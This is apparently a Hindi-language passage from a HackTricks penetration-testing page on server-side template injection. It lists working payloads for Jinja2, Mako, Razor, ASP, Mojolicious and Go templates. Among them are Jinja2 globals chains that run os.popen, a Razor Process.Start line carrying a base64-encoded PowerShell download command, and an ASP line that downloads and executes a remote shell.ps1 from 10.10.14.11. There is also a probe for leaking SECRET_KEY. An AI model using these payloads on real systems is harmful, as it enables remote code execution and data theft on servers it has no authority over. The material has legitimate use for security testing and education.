{% debug %}





{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - टेम्पलेट प्रारूप

{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}

RCE निर्भर नहीं है __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja को कैसे दुरुपयोग करने के बारे में अधिक विवरण:

pageJinja2 SSTI

अन्य payloads https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

अधिक जानकारी

Razor (.Net)

  • @(2+2) <= सफलता

  • @() <= सफलता

  • @("{{code}}") <= सफलता

  • @ <= सफलता

  • @{} <= त्रुटि!

  • @{ <= त्रुटि!

  • @(1+2)

  • @( //C#Code )

  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBCAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET System.Diagnostics.Process.Start विधि का उपयोग सर्वर पर किसी भी प्रक्रिया को शुरू करने और इस तरह एक वेबशैल बनाने के लिए किया जा सकता है। आप https://github.com/cnotin/RazorVulnerableApp में एक वंलरेबल वेबऐप उदाहरण ढूंढ सकते हैं।

अधिक जानकारी

ASP

  • <%= 7*7 %> = 49

  • <%= "foo" %> = foo

  • <%= foo %> = कुछ नहीं

  • <%= response.write(date()) %> = <Date>

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

अधिक जानकारी

Mojolicious (Perl)

यह perl होने के बावजूद यह Ruby में ERB की तरह टैग का उपयोग करता है।

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

<%= perl code %>
<% perl code %>

SSTI में जीओ

गो के टेम्पलेट इंजन में, इसके उपयोग की पुष्टि किए जा सकते हैं विशिष्ट पेलोड के साथ:

  • {{ . }}: डेटा संरचना इनपुट उजागर करता है। उदाहरण के लिए, यदि एक ऑब्जेक्ट जिसमें Password विशेषता है पास किया गया है, तो {{ .Password }} इसे उजागर कर सकता है।

  • {{printf "%s" "ssti" }}: "ssti" स्ट्रिंग प्रदर्शित करने की उम्मीद है।

  • {{html "ssti"}}, {{js "ssti"}}: ये पेलोड "ssti" वापस करना चाहिए बिना "html" या "js" जोड़ने। गो दस्तावेज़ीकरण में और निर्देशों को जांचा जा सकता है यहाँ

XSS शोषण

text/template पैकेज के साथ, XSS को सीधे पेलोड डालकर सरल बनाया जा सकता है। विपरीत, html/template पैकेज प्रतिक्रिया को इसे रोकने के लिए एन्कोड करता है (उदाहरण के लिए, {{"<script>alert(1)</script>"}} का परिणाम &lt;script&gt;alert(1)&lt;/script&gt; होता है)। फिर भी, गो में टेम्पलेट परिभाषा और आह्वान को इस एन्कोडिंग को छलना सक्षम है: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet कोड कॉपी

RCE शोषण

RCE शोषण html/template और text/template के बीच में व्यापक रूप से भिन्न होता है। text/template मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे बुलाने की अनुमति देता है ( "कॉल" मान का उपयोग करके), जो html/template में अनुमति नहीं है। इन मॉड्यूलों के लिए दस्तावेज़ीकरण यहाँ उपलब्ध है html/template के लिए यहाँ और text/template के लिए यहाँ

गो में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट मेथड को आमंत्रित किया जा सकता है। उदाहरण के लिए, यदि प्रदान किए गए ऑब्जेक्ट में System मेथड है जो कमांड को निष्पादित करता है, तो इसे {{ .System "ls" }} की तरह शोषित किया जा सकता है। इसे शोषण करने के लिए साधारणत: स्रोत कोड तक पहुंचना आवश्यक होता है, जैसे दिए गए उदाहरण में:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

अधिक जानकारी

अधिक शोषण

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection पर अधिक शोषण के लिए देखें। आप https://github.com/DiogoMRSilva/websitesVulnerableToSSTI में दिलचस्प टैग जानकारी भी पा सकते हैं।

BlackHat PDF

संबंधित सहायता

यदि आपको लगता है कि यह उपयोगी हो सकता है, तो पढ़ें:

उपकरण

ब्रूट-फोर्स पहचान सूची

अभ्यास और संदर्भ

​​​RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबाऊ मिलन स्थल है।

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated